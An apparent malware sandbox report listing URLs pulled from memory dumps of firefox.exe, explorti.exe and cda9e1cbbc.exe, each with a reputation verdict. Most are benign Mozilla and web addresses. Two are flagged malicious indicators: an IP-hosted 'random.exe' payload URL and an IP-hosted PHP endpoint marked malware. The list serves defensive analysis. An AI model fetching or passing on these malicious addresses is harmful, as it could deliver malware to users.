https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-jsSHUTDOWN_PHASE_DURATION_TICKS_PROFILE_BEFORE_CHANGE	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001C.00000002.2593833756.000001F3EF5DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001C.00000002.2755324438.000001F400E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://identity.mozilla.com/ids/ecosystem_telemetryU	firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2496833578.000001F40043C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2228882591.000001F3FEF87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001C.00000003.2227751133.000001F3FEF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2220456983.000001F3FEF4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2218571898.000001F3FED00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749225663.000001F3FFC6E000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gpuweb.github.io/gpuweb/browser.newtab.feature-tour	firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.duckduckgo.com/ac/getElementForAttrInheritance	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/cost/random.exe	explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://truecolors.firefox.combrowser.handlers.migrationsmigrateXULAttributeToStylehttps://monitor.f	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://exslt.org/common	firefox.exe, 0000001C.00000002.2608969227.000001F3FAC24000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022CF0000.00000004.00000020.00020000.00000000.sdmp, KKKJKEBK.19.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/accountservices.sync.log.logger.browsertoolkit/branding/accounts.ftlsendTabC	firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i.pki.goog/wr2.crt0	firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000001C.00000002.2751785855.000001F400274000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 0000001C.00000002.2744297021.000001F3FF836000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754098270.000001F4004BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/accountC:	firefox.exe, 0000001C.00000002.2587849657.000001F3EF2F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B412000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schema27fb6245-bd08-4de6-8f4d-2ece3f597752%2528not%2Bset%2529%	firefox.exe, 0000001C.00000002.2755324438.000001F400ED7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://email.seznam.cz/newMessageScreen?mailto=%sMust	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/accountapp.update.lastUpdateTime.%ID%	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaupdateFromRemoteSettings/p	firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zhihu.com/	firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.mozilla.orgaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpicture.s	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.olx.pl/	firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.comhighValueCOOP	firefox.exe, 0000001C.00000002.2733884773.000001F3FEB60000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.phposition:	cda9e1cbbc.exe, 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/appId	firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001C.00000002.2758788296.000001F40118B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2517349923.000001F401189000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2518185756.000001F401195000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
